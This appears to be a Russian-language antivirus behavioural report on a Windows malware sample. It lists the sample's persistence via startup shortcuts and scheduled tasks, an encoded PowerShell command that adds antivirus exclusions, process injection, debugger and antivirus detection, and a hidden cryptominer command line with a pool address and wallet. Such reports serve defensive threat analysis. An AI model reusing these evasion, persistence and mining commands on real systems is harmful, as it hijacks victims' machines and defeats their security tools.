Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\ecosphere.lnk
- <SYSTEM32>\tasks\after
- <SYSTEM32>\tasks\weoywffddro
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBEAEQALQBtAHAAUABSAGUARgBFAHIAZQBOAEMARQAgAC0AZQBYAEMAbAB1AFMASQBvAG4AcAByAE8AYwBFAHMAcwAgAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4A...
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\addinprocess.exe
следующие пользовательские процессы:
- regasm.exe
Ищет следующие окна с целью
обнаружения утилит для анализа:
- ClassName: 'OLLYDBG', WindowName: ''
- ClassName: 'GBDYLLO', WindowName: ''
- ClassName: 'pediy06', WindowName: ''
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\ixp000.tmp\copying.docm
- %TEMP%\ixp000.tmp\settlement.docm
- %TEMP%\ixp000.tmp\election.docm
- %TEMP%\ixp000.tmp\j.docm
- %TEMP%\ixp000.tmp\sticker.docm
- %TEMP%\ixp000.tmp\nasa.docm
- %TEMP%\ixp000.tmp\tire.docm
- %TEMP%\ixp000.tmp\danger.docm
- %TEMP%\ixp000.tmp\smell
- %TEMP%\ixp000.tmp\procedures
- %TEMP%\ixp000.tmp\totals
- %TEMP%\ixp000.tmp\troops
- %TEMP%\ixp000.tmp\lebanon
- %TEMP%\ixp000.tmp\share
- %TEMP%\ixp000.tmp\kenny
- %TEMP%\ixp000.tmp\earrings
- %TEMP%\ixp000.tmp\portions
- %TEMP%\ixp000.tmp\dod
- %TEMP%\ixp000.tmp\lions
- %TEMP%\ixp000.tmp\place
- %TEMP%\ixp000.tmp\iraqi
- %TEMP%\ixp000.tmp\201982\yr.scr
- %TEMP%\ixp000.tmp\201982\x
- %LOCALAPPDATA%\ecocraft innovations\j
- %LOCALAPPDATA%\ecocraft innovations\ecosphere.bat
- %LOCALAPPDATA%\ecocraft innovations\ecosphere.lnk
- %TEMP%\ixp000.tmp\201982\regasm.exe
- %TEMP%\content\1720-2244-regasm.exe-13-19-17-777.dump
- %TEMP%\content\1720-2244-regasm.exe-13-19-18-764.dump
- %TEMP%\content\1720-2244-regasm.exe-13-19-18-787.dump
- %TEMP%\content\1720-3660-regasm.exe-13-19-33-281.dump
Удаляет файлы, которые сам же создал
- %TEMP%\ixp000.tmp\201982\x
Перемещает следующие файлы
- %TEMP%\ixp000.tmp\election.docm в %TEMP%\ixp000.tmp\election.docm.bat
Сетевая активность
Подключается к
- '82.##3.71.176':39001
- 'dr##box.com':443
- 'uc#############4ecc05c34de97.dl.dropboxusercontent.com':443
TCP
Другие
- '82.##3.71.176':39001
- 'dr##box.com':443
- 'uc#############4ecc05c34de97.dl.dropboxusercontent.com':443
UDP
- DNS ASK rz########PzALECb.rzIpxUQYUJPzALECb
- DNS ASK dr##box.com
- DNS ASK uc#############4ecc05c34de97.dl.dropboxusercontent.com
Другое
Создает и запускает на исполнение
- '%TEMP%\ixp000.tmp\201982\yr.scr' x
- '%TEMP%\ixp000.tmp\201982\regasm.exe'
Запускает на исполнение
- '%WINDIR%\syswow64\tapiunattend.exe' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c move Election.docm Election.docm.bat && Election.docm.bat (со скрытым окном)
- '%WINDIR%\syswow64\tasklist.exe'
- '%WINDIR%\syswow64\findstr.exe' "bdservicehost ekrn AvastUI SophosHealth AVGUI nsWscSvc"
- '%WINDIR%\syswow64\extrac32.exe' /Y Tire.docm *.*
- '%WINDIR%\syswow64\findstr.exe' /V "Chain" Share
- '<SYSTEM32>\cmd.exe' /c schtasks.exe /create /tn "After" /tr "explorer.exe '%LOCALAPPDATA%\EcoCraft Innovations\EcoSphere.lnk'" /sc minute /mo 5 /F
- '<SYSTEM32>\schtasks.exe' /create /tn "After" /tr "explorer.exe '%LOCALAPPDATA%\EcoCraft Innovations\EcoSphere.lnk'" /sc minute /mo 5 /F
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\addinprocess.exe' --algo rx/0 -o 82.##3.71.176:49301 -u 44WivNZEZpxeUT8jwoipzuNqaRbKYqHQ5dMULiRaXNJLPkBpXc8H62J7ktzhEpB8WNEQCJEqN2Eu8cmqQ5vrMRhfJnsgKbw.Worker_CPU -p x --cpu-max-threads-hint=50 -k (со скрытым окном)
